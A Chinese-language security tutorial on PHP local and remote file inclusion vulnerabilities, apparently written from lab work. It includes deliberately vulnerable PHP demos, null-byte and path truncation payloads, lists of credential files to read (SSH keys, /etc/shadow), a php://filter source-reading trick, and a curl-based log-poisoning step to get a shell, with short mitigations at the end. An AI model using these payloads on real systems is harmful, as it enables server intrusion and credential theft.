在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入
分类
本地文件包含
当被包含的文件在服务器本地时,就形成本地文件包含
远程文件包含
当被包含的文件在第三方服务器时,叫做远程文件包含
需要:
php.ini
allow_url_fopen on
allow_url_include on
php常见包含文件函数
include()
当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行
include_once()
功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次
require()
require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行
使用require()函数包含文件时,只要程序一执行,立即调用文件,而include()只有程序执行到函数时才调用
require()在php程序执行前执行,会先读入 require 所指定引入的文件,使它变成 PHP 程序网页的一部份。
require_once()
它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次
总结:
incluce 在用到时加载
require 在一开始就加载
_once 后缀表示已加载的不加载
require能让php的程序得到更高的效率,在同一php文件中解释过一次后,不会再解释第二次。而include却会重复的解释包含的文件。
执行任意脚本代码
控制网站
控制整台服务器
本地文件包含
上传图片(含有php代码的图片)
读文件,读php文件
包含日志文件getshell
包含/proc/self/envion文件getshell
如果有phpinfo可以包含临时文件
包含data://或php://input等伪协议(需要allow_url_include=On)
包含图片的文件上传
demo 1
if ($_GET[page]) {
include($_GET[page]);
}
else {
include "show.php";
}
图片php.jpg
php
phpinfo();
?>
http://172.16.77.145/lfi/1/index.php?page=uploads/20160726205659190.jpg
demo 2
if ($_GET[page]) {
include("./action/".$_GET[page]);
} else {
include "./action/show.php";
}
http://172.16.77.145/lfi/2/index.php?page=../uploads/20160726212921768.jpg
demo 3
if ($_GET[page]) {
include("./action/".$_GET[page].".php");
} else {
include "./action/show.php";
}
http://172.16.77.145/lfi/3/index.php?page=../uploads/20160726215833287.jpg%00
%00截断
/etc/passwd%00
( 需要magic_quotes_gpc=off PHP< 5.3.4 )
路径长度截断
/etc/passwd/././././././.[...]/./././././.
php版本小于5.2.8,linux需要文件名长于4096,windows需要大于256
读文件
index.php?file=/etc/passwd
敏感文件
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
/etc/shadow
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]* (文件标识符)
/proc/mounts
/proc/config.gz
读取php文件
index.php?file=php://filter/read=convert.base64-encode/resource=ctf.php
包含日志文件getshell(需要一定读权限)
首先找到日志文件存放位置,利用文件包含漏洞去读取
apache 日志默认在
/etc/httpd/logs/access_log
或
index.php?page=/var/log/httpd/access_log
也可以先找apache配置文件,通过配置文件找到日志路径
/etc/httpd/conf/httpd.conf
或
index.php?page=/etc/init.d/httpd
window 2003+iis6.0 日志文件默认放在
C:\WINDOWS\system32\Logfiles
配置文件默认在
C:\Windows/system32\inetsrv\metabase.xml
iis 7日志文件默认在
%SystemDrive%\inetpub\logs\LogFiles
配置文件默认目录
C:\Windows\System32\inetsrv\config\applicationHost.config
nginx
日志文件在用户安装目录logs目录下
以我的安装路径为例/usr/local/nginx,
那我的日志目录就是在/usr/local/nginx/logs里
让日志文件插入php代码
方法一
使用burpsuit抓包访问
方法二
curl 访问不存在的url
curl "http://192.168.192.1/a.php?= phpinfo(); ?>"
包含日志文件
找到有包含漏洞的url包含日志文件
利用条件
demo
http://172.16.77.145/lfi/1/index.php?page=/etc/httpd/logs/access_log
远程文件包含
条件
php.ini
allow_url_fopen on
allow_url_include on
特定的cms,特定的版本
web漏洞扫描器扫描
php.ini 中open_basedir 限制访问在指定区域
过滤. / \
禁止服务器远程文件包含